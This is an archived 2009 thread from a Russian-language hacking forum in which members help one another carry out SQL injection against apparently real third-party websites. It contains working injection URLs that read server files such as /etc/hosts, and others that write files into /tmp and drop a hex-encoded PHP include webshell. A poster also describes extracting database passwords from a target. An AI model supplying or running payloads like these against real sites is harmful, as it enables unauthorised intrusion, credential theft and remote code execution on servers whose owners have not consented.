ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
27.10.2009, 23:09
|
|
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973
Репутация:
466
|
|
Пример
читаем /etc/hosts
http://www.dimex.ru/cat.php?p=-1&c=13+UNION+SELECT+LOAD_FILE(0x2F6574632F686F7374 73),2
в исходнике смортим он есть
пишем <? phpinfo(); ?>
http://www.dimex.ru/cat.php?p=-1&c=13+UNION+SELECT+0x3C3F20706870696E666F28293B20 3F3E,2+FROM+mysql.user+INTO+DUMPFILE+'/tmp/12345'
читаем
/tmp/12345
http://www.dimex.ru/cat.php?p=-1&c=13+UNION+SELECT+LOAD_FILE(0x2F746D702F31323334 35),2
и ниче (
|
|
|
27.10.2009, 23:19
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Rubaka
Там квотесы включены, с чего он запишется-то?
|
|
|
|
27.10.2009, 23:24
|
|
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973
Репутация:
466
|
|
jokester
ну так файл же читается, и не записывается
как я и говорил
|
|
|
|
27.10.2009, 23:31
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от Rubaka
прав на запись у юзера твоего нема
Сообщение от Rubaka
та сплошь и рядом файлы читаются а не записываються ((
mysql ному юзеру мож было выставлено шо низзя писать файлы
вот что ты говорил.
Вот и покажи мне пример, где у юзера такие ПРАВА, что читать он может, а писать нет.
Кавычки тут никакого отношения к делу не имеют
|
|
|
|
27.10.2009, 23:44
|
|
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973
Репутация:
466
|
|
jokester
да неправ я был ,ступил
везде где нет кавычек и права для чтения я в /tmp могу писать
сайтов 5-6 попробовал
|
|
|
|
28.10.2009, 00:18
|
|
Познающий
Регистрация: 21.12.2008
Сообщений: 93
Провел на форуме:
391983
Репутация:
39
|
|
подскажите есть ли здесь скуль иньекция
www.craigolsonsports.com/newsarticle.php?id=0809&nid=29546'
|
|
|
|
28.10.2009, 00:34
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734
Репутация:
1917
|
|
Код:
http://www.craigolsonsports.com/newsarticle.php?id=0809&nid=29546%20and%201=2%20union%20select%20user(),2+--+
__________________
Карфаген должен быть разрушен...
|
|
|
|
28.10.2009, 04:06
|
|
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
Провел на форуме:
461696
Репутация:
40
|
|
Сообщение от jokester
1 А как ты пишешь в файл, если там что-то экранируется?
2 Прочитай индекс файл, или любой файл с веба. Уверен, что база там-же где сайт?
1. -deleted-
2. Уже читал, пароли к БД вытащил, только с других хостов не пускает (как и положено)
L I G A, Уже пробывал - всё равно не работает 
Ошибку пишет
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in /var/www/html/calendar/detailview.php on line 25
Да что за срань такая!
Ведь если файлы читаются, значит для пользователя установлен флаг file_priv=y, значит и писать можно! Всё, по-другому никак. Или я не прав?
А запрос может быть составлен так, чтобы конструкции into outfile и into dumpfile нельзя было использовать?
Последний раз редактировалось _gr34t; 28.10.2009 в 05:29..
|
|
|
|
28.10.2009, 04:59
|
|
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
Провел на форуме:
1957988
Репутация:
739
|
|
Код:
http://site.com/calendar.php?event_id=681+union+select+null,0x3c3f 70687020696e636c75646528245f4745545b67675f696e635d 293b3f3e,null,null,null+into+outfile+0x2f706174682 f746f2f6d792f7363726970742e706870
ну может потому и не пишется что ты путь в hex'е вписал)) |
|
|
|
28.10.2009, 05:28
|
|
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
Провел на форуме:
461696
Репутация:
40
|
|
Сообщение от ILYAtirtir
ну может потому и не пишется что ты путь в hex'е вписал))
Блиа.
ILYAtirtir, спасибо что разморочил. )
Отвечаю, что где-то на ачате видел такое. В памяти отложилось вот и писал так. Оказывается так нельзя )
Тогда другой вопрос: можно как-нибудь обойти кавычки?
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
